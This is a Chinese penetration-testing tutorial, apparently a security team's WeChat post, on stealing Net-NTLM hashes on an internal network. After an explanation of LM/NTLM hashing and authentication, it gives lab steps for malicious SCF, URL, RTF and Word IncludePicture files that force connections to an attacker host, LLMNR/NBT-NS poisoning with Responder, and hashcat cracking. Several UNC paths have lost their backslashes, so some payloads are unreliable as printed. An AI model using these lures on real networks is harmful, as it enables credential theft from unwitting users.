在内网渗透的过程中,最重要的就是信息搜集,但是在极端情况下我们找不到能够横或者跨域的机器,那么这时候我们就可以尝试做一个水坑,来尝试获取hash。
既然是获取hash,我们先了解一下hash的基础知识、本地认证和网络认证。
LM Hash & NTLM Hash
本机用的密码hash是保存在本地的SAM文件中,域用户的密码hash保存在域控下的NTDS.DIT文件中。
各个版本针对LM和NTLM的支持:
LM Hash
1、Admin@123 转换为大写ADMIN@123
2、ADMIN@123转换十六进制
41444D494E40313233
3、密码不足14字节用0补全
41444D494E403132330000000000
4、分为2组7字节
41444D494E4031
32330000000000
5、将这两组7字节的十六进制转换为二进制
01000001010001000100110101001001010011100100000000110001
00110010001100110000000000000000000000000000000000000000
6、这两组每7bit一组末尾加0
0100000010100010000100101010100010010100011100100000000001100010
0011001000011000110000000000000000000000000000000000000000000000
7、将两组二进制转换为十六进制得到2组8字节编码
40A212A894720062
3218C00000000000
8、将2组8字节编码分别作为DES密钥,KGS!@#$%的16进制作为DES明文进行加密
6F08D7B306B1DAD4
B75E0C8D76954A50
9、拼接后得到最后结果
6F08D7B306B1DAD4B75E0C8D76954A50
NTLM Hash
密码为admin,操作系统会将admin转换为十六进制,经过Unicode编码后,再调用MD4加密算法加密,这个加密结果就是NTLM Hash。
admin -> hex(16进制编码) = 61646d696e61646d696e -> Unicode = 610064006d0069006e00610064006d0069006e00 -> MD4 = 209c6174da490caeb422f3fa5a7ae634
输入账号密码登录->winlogin.exe接收用户输入(windows登录界面,用户注销、重启、锁屏后,操作系统会让winlogon显示登录界面)-> lsass.exe进程将明文密码转为hash ->与sam文件对比->对比一致即成功登录。
Net-NTLM Hash数据格式
Net-NTLM Hash v1的格式为:
username::hostname:LM response:NTLM response:challenge
Net-NTLM Hash v2的格式为:
username::domain:challenge:HMAC-MD5:blob
NTLM工作组中的认证机制
1、用户登录客户端电脑。
2、客户端向服务器发送协商消息,它主要包含客户端支持和服务器请求的功能列表。
3、服务器进行响应,包含服务器支持的功能列表。最重要的是它包含服务器产生的Challenge。
4、客户端接收到步骤3中的challenge之后,使用用户hash与challenge进行加密运算得到response,将response,username,challeng发给服务器。消息中的response是最关键的部分,因为向服务器证明客户端用户已经知道帐户密码。
5、服务器拿到获取到信息以后,使用challenge和用户hash进行加密得到response2与客户端发来的response进行比较,如果相同,则返回验证成功。
NTLM在域中的认证机制
1、用户登录客户端电脑。
2、客户端向服务器发送协商消息,主要包含客户端支持和服务器请求的功能列表。
3、服务器进行响应,包含服务器支持的功能列表。最重要的是包含服务器产生的Challenge。
4、客户端接收到步骤3中的challenge之后,使用用户hash与challenge进行加密运算得到response,将response,username,challeng发给服务器。消息中的response是最关键的部分,因为向服务器证明客户端用户已经知道帐户密码。
5、服务器拿到获取到信息以后,因为用户hash是存储在域控里面,没有用户hash,也就没办法计算response2进行验证。这个时候服务器就会通过netlogon协议联系域控,建立一个安全通道,然后将response,username,challeng全部发给域控。
6、域控使用challenge和用户hash进行加密得到response2,与服务器发送的response进行比较,然后返回认证成功或者失败的结果。
思路
通过多种方式强制目标客户端向伪造的服务器发起SMB连接,在伪造的服务器上捕获数据包,获得Net-NTLM hash。
对于SMB协议,客户端在连接服务端时,默认先使用本机的用户名和密码hash尝试登录。
准备工作
攻击机kali:192.168.106.131
已经控制主机( win7,密码为123456 ):192.168.106.129
靶机(win7,密码为123.com):192.168.106.130
攻击机kali :
已经控制主机:
靶机:
SCF文件
什么是scf文件?
SCF文件是“WINDOWS资源管理器命令”文件,它也是一种可执行文件。该类型文件由Windows Explorer Command解释。
什么是UNC?
UNC,即Universal Naming Convention,意为通用命名规则。UNC路径就是类似softer这样的形式的网络路径,unc共享就是指网络硬盘的共享。
可以使用SCF文件执行有限的一组操作(例如显示Windows桌面或打开Windows资源管理器)。如果使用SCF文件访问特定的UNC路径,那么我们可以发起攻击
1、首先生成一个SCF文件(192.168.106.131是kali的地址)
[Shell] Command=2 IconFile=\192.168.106.131sharepentestlab.ico [Taskbar] Command=ToggleDesktop |
2、将这个scf文件设置为共享状态(已经控制主机)
3、然后使用kali上的responder进行监听操作:
responder -I eth0
4、靶机:192.168.106.130访问恶意SCF文件
备注:
当目标机器只要访问这个scf文件之后我们就可以拿到它的NTLM hash,注意这里不需要点击也可以得到,只需要能够访问即可。
当用户浏览共享时,将自动从他的系统建立到SCF文件中包含的UNC路径的连接。Windows将尝试使用用户名和密码对共享进行身份验证。在该身份验证过程中,服务器会向客户端发送一个随机的16字节质询密钥,并使用此质询密钥再次加密散列的NTLM/ LANMAN密码,我们将捕获NTLMv2哈希。
5、kali获取到靶机:192.168.106.130的hash值
6、使用hashcat破解hash的密码
hashcat -m 5600 1.txt top100.txt
超链接
1、新建一个文件,插入超链接:\192.168.106.131qwe.exe
2、靶机点击超链接。
3、然后使用kali上的responder进行监听操作,获取到靶机:192.168.106.130的hash值:
responder -I eth0
不存在的共享
如果在缓存中没有找到名称,DNS名称服务器又请求失败时,Windows系统就会通过链路本地多播名称解析(LLMNR)和Net-BIOS名称服务(NBT-NS)在本地进行名称解析。这时,客户端就会将未经认证的UDP广播到网络中,询问它是否为本地系统的名称,由于该过程未被认证,并且广播到整个网络,从而允许网络上的任何机器响应并声称是目标机器。
通过工具(responder)监听LLMNR和NetBIOS广播,攻击者可以伪装成受害者要访问的目标机器,并从而让受害者交出相应的登陆凭证。核心过程与arp欺骗类似,我们可以让攻击者作中间人,截获到客户端的Net-NTLM Hash。
1、靶机访问一个无效的共享:\111
2、然后使用kali上的responder进行监听操作,获取到靶机:192.168.106.130的hash值:
responder -I eth0
URL
原理跟使用超链接类似,让靶机去访问IconFile=\192.168.106.131qwe.icon,即一个不存在的文件。
1、生成一个test1.url,内容如下:
[InternetShortcut] URL=test-hash //url内容 WorkingDirectory=test-hash //url名称 IconFile=\192.168.106.131qwe.icon IconIndex=1 |
2、靶机192.168.106.130访问恶意URL文件
3、然后使用kali上的responder进行监听操作,获取到靶机:192.168.106.130的hash值:
responder -I eth0
RTF
富文本格式(Rich Text Format)即RTF格式,又称多文本格式,是由微软公司开发的跨平台文档格式。大多数的文字处理软件都能读取和保存RTF文档。
富文本格式 (RTF) 是一种方便于不同的设备、系统查看的文本和图形文档格式。
1、生成一个test.rtf,内容如下所示:
{rtf1{field{*fldinst {INCLUDEPICTURE “file://192.168.106.131/test.jpg” \* MERGEFORMAT\d}}{fldrslt}}} |
2、靶机:192.168.106.130访问恶意文件test.rtf
3、然后使用kali上的responder进行监听操作,获取到靶机:192.168.106.130的hash值:
responder -I eth0
IncludePicture
IncludePicture就相当于一个windows为了方便插入多个图片而设计的一个功能
1、这里打开word文档,使用ctfl + F9可以得到一个{},我们在后面加上一个不存在的地址。
{ \192.168.106.131test.jpg } |
2、靶机192.168.106.130访问恶意文件test.xml
3、然后使用kali上的responder进行监听操作,获取到靶机:192.168.106.130的hash值:
responder -I eth0
参考文档:
https://mp.weixin.qq.com/s/zsye6NVkwSnSh2qbYCLSBQ
监制:船长、铁子 策划:AST 文案:W 美工:青柠
原文始发于微信公众号(千寻安服):水坑攻击-hash获取